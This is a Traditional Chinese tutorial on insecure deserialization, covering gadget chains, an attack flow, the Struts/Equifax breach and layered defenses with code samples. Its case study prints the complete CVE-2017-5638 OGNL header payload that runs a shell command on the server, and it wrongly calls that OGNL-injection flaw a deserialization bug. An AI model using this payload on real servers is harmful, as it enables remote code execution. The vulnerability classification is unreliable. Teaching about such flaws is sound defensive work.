不安全的反序列化
1. 定義
不安全的反序列化 發生在應用程式在沒有適當驗證的情況下反序列化(將序列化資料轉換回物件)不受信任的資料時。攻擊者可以操縱序列化物件來:
- 在伺服器上執行任意程式碼
- 執行注入攻擊
- 重放、竄改或提升權限
- 導致阻斷服務
這個漏洞特別危險,因為利用它通常會直接導致遠端程式碼執行 (RCE)。
2. 技術原理
序列化 將物件轉換為可以儲存或傳輸的格式(位元組、JSON、XML)。 反序列化 從該格式重建物件。
為什麼危險: 許多語言在反序列化過程中會執行程式碼:
- 物件建構子/解構子被呼叫
- 魔術方法被呼叫(PHP 中的
__wakeup(),Java 中的readObject()) - 屬性設定器可能觸發副作用
易受攻擊的語言和格式:
- Java: 原生序列化、XStream、Jackson(帶多型)
- PHP:
unserialize()函式 - Python:
pickle模組 - .NET:
BinaryFormatter、ObjectStateFormatter - Ruby:
Marshal.load()
攻擊概念 - Gadget 鏈: 攻擊者不注入新程式碼。相反,他們鏈接應用程式或其函式庫中現有的類別(「gadgets」)來實現程式碼執行。
序列化物件 → 反序列化 → Gadget 類別 A
↓ 呼叫
Gadget 類別 B
↓ 呼叫
Gadget 類別 C
↓ 執行
Runtime.exec("惡意命令")3. 攻擊流程
sequenceDiagram
participant Attacker as 攻擊者
participant WebApp as Web 應用程式
participant Deserializer as 反序列化函式庫
participant System as 作業系統
Attacker->>Attacker: 使用已知 gadget 鏈<br/>製作惡意序列化載荷
Attacker->>WebApp: 在 cookie/參數中發送載荷<br/>session=rO0ABXNyABFqYXZhLnV0aWw...
WebApp->>Deserializer: 反序列化工作階段資料
Deserializer->>Deserializer: 重建物件圖<br/>觸發 gadget 鏈
Note over Deserializer: Gadget 鏈執行<br/>惡意程式碼路徑
Deserializer->>System: Runtime.exec 或等效方法
System-->>Attacker: 反向 shell / 命令輸出4. 真實案例:Apache Struts (2017)
目標: Equifax 和數千家其他組織。 漏洞類別: Java 反序列化 RCE (CVE-2017-5638)。
漏洞背景: Apache Struts 是一個流行的 Java Web 框架,其 Jakarta Multipart 解析器存在嚴重漏洞。在處理檔案上傳的 Content-Type 標頭時,它使用了可被操縱的 OGNL(物件圖導航語言)運算式。
攻擊過程: 攻擊者發送帶有精心建構的 Content-Type 標頭的惡意 HTTP 請求:
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}Equifax 資料外洩: 2017 年 9 月,Equifax 披露攻擊者利用此漏洞存取了 1.47 億人的個人資料,包括社會安全號碼、出生日期和地址。
影響: 歷史上最大的資料外洩事件之一,導致超過 7 億美元的和解金。這表明單個反序列化漏洞可能產生災難性後果。
5. 深度防禦策略
A. 避免原生反序列化
最安全的方法是完全不反序列化不受信任的資料。
- 使用簡單的資料格式: 優先使用 JSON 或 XML 進行明確解析(而非物件對映)。
- 禁止多型反序列化: 避免允許任意類別實例化的功能。
// 壞:原生 Java 反序列化
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // 危險!
// 好:明確類型的 JSON
ObjectMapper mapper = new ObjectMapper();
User user = mapper.readValue(json, User.class); // 明確類型B. 完整性檢查
簽章序列化資料以偵測竄改。
- HMAC 簽章: 在序列化前簽章資料,在反序列化前驗證。
- 加密: 加密序列化資料,使攻擊者無法建構有效載荷。
import hmac
import hashlib
def serialize_with_signature(data, secret_key):
serialized = pickle.dumps(data)
signature = hmac.new(secret_key, serialized, hashlib.sha256).hexdigest()
return serialized + b'.' + signature.encode()
def deserialize_with_verification(signed_data, secret_key):
serialized, signature = signed_data.rsplit(b'.', 1)
expected = hmac.new(secret_key, serialized, hashlib.sha256).hexdigest()
if not hmac.compare_digest(signature.decode(), expected):
raise ValueError("Invalid signature")
return pickle.loads(serialized)C. 類型約束(白名單)
限制可以反序列化的類別。
Java(使用 ObjectInputFilter - Java 9+):
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.myapp.model.*;!*" // 僅允許 com.myapp.model,拒絕所有其他
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter);D. 隔離反序列化
在沙箱環境中執行反序列化。
- 獨立處理程序: 在低權限處理程序中反序列化。
- 容器隔離: 使用受限能力的容器。
- 時間限制: 中止耗時過長的反序列化(DoS 防護)。
E. 監控和偵測
- 記錄反序列化: 追蹤所有反序列化操作。
- 異常偵測: 對異常的類別載入模式發出警示。
- RASP(執行階段應用程式自我保護): 偵測利用嘗試的工具。
F. 保持相依性更新
許多反序列化漏洞針對已知的易受攻擊函式庫。
- 相依性掃描: 使用 OWASP Dependency-Check、Snyk 等工具。
- Gadget 函式庫: 關注常見函式庫(Commons Collections、Spring 等)中的漏洞。
